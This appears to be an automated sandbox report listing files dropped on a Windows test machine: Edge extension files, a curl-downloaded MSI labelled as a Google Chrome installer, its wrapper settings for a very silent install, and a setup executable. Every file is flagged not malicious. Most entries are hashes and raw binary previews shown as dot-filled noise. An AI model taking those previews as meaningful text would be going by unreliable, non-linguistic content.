U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\7cfae2bf-58d8-47cc-b8c1-29bd88fe53f5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\91bbbc79-22d7-4c0b-8886-3e7c4d905242.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\9ae2a705-823c-4405-a283-a481598218b8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files.cab

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 1570676 bytes, 1 file, at 0x2c +A "setup.exe", ID 9319, number 1, 20964 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1570676
Entropy (8bit):	5.219002687985416
Encrypted:	false
SSDEEP:	12288:gQHX95Hqzz43LnZ8TOUVE+2gDcsynYBdOI7wchbzTJmdz57MXHD/h:xE4LOTVE+2gDcVYBII/g7M3zh
MD5:	6EA1C4D2C75EE362820E814110F3DC90
SHA1:	6F73FDA661DF49C64F6D8D2B66BEF5A2F1939775
SHA-256:	8D1A7EAFD0EB76D2AA0B522C6A98240489692FD1CA82565AD85D65BE64B05D94
SHA-512:	5335AC317D7AEB93F509F073442E65A5BE2BF0AED5FD88839D69A6B72360560ED227975FAC062AB8D2476074417288DFD53EDDFB3B12667AE0A8677E73F7A495
Malicious:	false
Preview:	MSCF....t.......,...............g$..F....Q.....(.......Y. .setup.exe..8.6.=..[...5 f.q.....4!.P..._c..bZ(Q....U..-.P.I..$uW.......J..TvW..6....J.....c6VcCT62.`w.......IB#l..<.K.<R..N.s.=.;;....W..=..q7....v..S..4..B7Y....l.G.".X..n...E...7.Y..$6.$ B..9#...%6%..IK..5%.9.....D...hH........w9.o..{y3..k..5....H.....T+..D...T.........?.E..Q......>..........:I.-.t:......\|l.....;..($._Y..\.........o...}w...."....7c.....&.`H..".g.K.M.z..:Y;<.{n.^3Wc.=c......W,..x..y\D.....`\..x.....-.M... 0.:N.G....._..:..>\.YL5....`ad..f<>\..$.^.,...,..n...d.~.M......@.........$....[5.{.c......)b....;..n....M...9...gW..gO........1...mk..V....o..1M.g..........o..i6..!1_.....z. 9.....&.,=.Y.....M]......z..YH.5.2a.....~."n...%om...q...PP.b..d.....`.*a..Y....kJ.9......'..A=.L......L..\.CX1..i.._........TJ..........m^...O..7....#..6.=~.E8U..)W[d...HNul.=.%.k..#..X..VJ./.J..(...D.#.$N.L.W.....#r....$.HP.f..w..Khon3.W._N..f..x{^.A...\|4`a.^...)..@.3.0'E....h..7.l~R..}.n@

C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\bc51bec6f1114c3c9547e73c4adfb90f$dpx$.tmp\d88df8ae9f84a64d960948f2a7dbf8fb.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	686918144
Entropy (8bit):	0.045562118203988186
Encrypted:	false
SSDEEP:
MD5:	12A9550703C2DFFED96EAAA738B8118E
SHA1:	DB6C9B6542E3A74F4F9041AAEA96FC339CBB87F8
SHA-256:	D17EE94A3461574B927693308FC167CA99AE1BA168B7DD4FEEA39B48F4CA4F60
SHA-512:	71ED6B30DE3D004A6319DA414272AF2F6E52FDD95ACC8C60EAFC9D2E23E898BB3272A3E6F39F4B89DA3CB3E509A9372B416B6704F5FF970426BC180B53844E71
Malicious:	false
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....)Zg.................L..........%t............@........................... .....[w.(..@.................................d"..x............................ ..p....................................................$...............................text....K.......L.................. ..`.rdata.......`... ...P..............@..@.data............>...p..............@....00cfg.......`......................@..@.tls.........p......................@....voltbl.,................................rsrc...............................@..@.reloc..p.... .......@..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe (copy)

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	686918144
Entropy (8bit):	0.045562118203988186
Encrypted:	false
SSDEEP:
MD5:	12A9550703C2DFFED96EAAA738B8118E
SHA1:	DB6C9B6542E3A74F4F9041AAEA96FC339CBB87F8
SHA-256:	D17EE94A3461574B927693308FC167CA99AE1BA168B7DD4FEEA39B48F4CA4F60
SHA-512:	71ED6B30DE3D004A6319DA414272AF2F6E52FDD95ACC8C60EAFC9D2E23E898BB3272A3E6F39F4B89DA3CB3E509A9372B416B6704F5FF970426BC180B53844E71
Malicious:	false
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....)Zg.................L..........%t............@........................... .....[w.(..@.................................d"..x............................ ..p....................................................$...............................text....K.......L.................. ..`.rdata.......`... ...P..............@..@.data............>...p..............@....00cfg.......`......................@..@.tls.........p......................@....voltbl.,................................rsrc...............................@..@.reloc..p.... .......@..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\msiwrapper.ini

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	1812
Entropy (8bit):	3.7126721863094243
Encrypted:	false
SSDEEP:	48:LKAekevOpZmFhNrrNr26byL0A5SbNr29X082:1vp2rZr26bWZopr2I
MD5:	63F189350325D72B408AFFF6D8B75138
SHA1:	94807DDFBA40472E1369A995F87C883C20685314
SHA-256:	528A288566FF159489502CF6CCC664D7765C1C1026260C59490BCBF31E4B79F5
SHA-512:	12008984C58E9254D9467491889E185A38B7F857940AD07E26DAB3D6F357041968221B92135C4066F7FC99E462DC4ACD74D53DD241058E7E79A7D672FCCF7AE7
Malicious:	false
Preview:	W.r.a.p.p.e.d.A.p.p.l.i.c.a.t.i.o.n.I.d.=.G.o.o.g.l.e. .C.h.r.o.m.e...W.r.a.p.p.e.d.R.e.g.i.s.t.r.a.t.i.o.n.=.N.o.n.e...I.n.s.t.a.l.l.S.u.c.c.e.s.s.C.o.d.e.s.=.0...E.l.e.v.a.t.i.o.n.M.o.d.e.=.n.e.v.e.r...B.a.s.e.N.a.m.e.=.s.e.t.u.p...e.x.e...C.a.b.H.a.s.h.=.8.d.1.a.7.e.a.f.d.0.e.b.7.6.d.2.a.a.0.b.5.2.2.c.6.a.9.8.2.4.0.4.8.9.6.9.2.f.d.1.c.a.8.2.5.6.5.a.d.8.5.d.6.5.b.e.6.4.b.0.5.d.9.4...S.e.t.u.p.P.a.r.a.m.e.t.e.r.s.=./.V.E.R.Y.S.I.L.E.N.T. . ./.V.E.R.Y.S.I.L.E.N.T. ...W.o.r.k.i.n.g.D.i.r.=...C.u.r.r.e.n.t.D.i.r.=..S.O.U.R.C.E.D.I.R....U.I.L.e.v.e.l.=.2...F.o.c.u.s.=.n.o...S.e.s.s.i.o.n.D.i.r.=.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.M.W.-.0.6.4.6.e.5.c.a.-.a.1.5.7.-.4.8.d.6.-.b.b.3.6.-.1.1.1.a.6.b.c.f.7.b.6.c.\...F.i.l.e.s.D.i.r.=.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.M.W.-.0.6.4.6.e.5.c.a.-.a.1.5.7.-.4.8.d.6.-.b.b.3.6.-.1.1.1.a.6.b.c.f.7.b.6.c.\.f.i.l.e.s.\...R.u.n.B.e.f.o.r.e.I.n.s.t.a.l.l.F.i.l.e.=.c.m.d...e.x.e...R.u.n.

C:\Users\user\AppData\Local\Temp\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi

Download File

Process:	C:\Windows\System32\curl.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Google Chrome 131.0.6778.109, Subject: Google Chrome, Author: Google LLC, Keywords: Installer, Template: Intel;1033, Revision Number: {967F9CAE-8EA3-4623-A378-F83D24095F53}, Create Time/Date: Thu Jan 11 14:59:44 2024, Last Saved Time/Date: Thu Jan 11 14:59:44 2024, Number of Pages: 200, Number of Words: 12, Name of Creating Application: MSI Wrapper (11.0.53.0), Security: 2
Category:	dropped
Size (bytes):	1880064
Entropy (8bit):	5.558716558380898
Encrypted:	false
SSDEEP:	24576:Kt9cpVDhmldE4LOTVE+2gDcVYBII/g7M3z:9pRhmkthkQIbM
MD5:	A08AC9D031B2C05B4AD646E76867F2C2
SHA1:	49E8CD403932E528DB6AB8FEA229DAC7DC2064AF
SHA-256:	2A6978DB146EA87B8DA5CB48B821C8219AC05D6D3F33CBFF8571F5FF4141D198
SHA-512:	3ACDB495D5ECF2579D54E7FE30D4E3686F3AAB65B6FBF3B39C9E73BEAD09BD9DE422DC91BABA45F235BAEF6C326B5D1C8A58D1E68B2C9BA62A1497F3378EE922
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\c320df16-364e-41fe-970e-b94eef363581.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.404371446346867
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854RrP:8e2Fa116uCntc5toYBa9M
MD5:	28EB00FC479FFC36925EA984276DAAC5
SHA1:	A2993FA4180DF6FECACE9B7A5C5CDC1638C07699
SHA-256:	B733204F9CC97D5313DDE5F17A6B1777C9D9B06DDF5D7852F2F62D623EE40DE9
SHA-512:	68856D1917472223D28E526AEC37C038E7AF9180E7269DA9B16D0A6B368F17FCA5BE4B418139578C075FA8FAB5661834B544E448E72BE53DC20756033EA94FCD
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\f3f4d96c-f4ed-47a7-9164-0753853ad75a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir7448_1315358433\7cfae2bf-58d8-47cc-b8c1-29bd88fe53f5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7448_1315358433\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7448_1315358433\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7448_1315358433\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7448_1315358433\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\78cd1ae2-3508-498e-bf9d-1bc13030b396.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
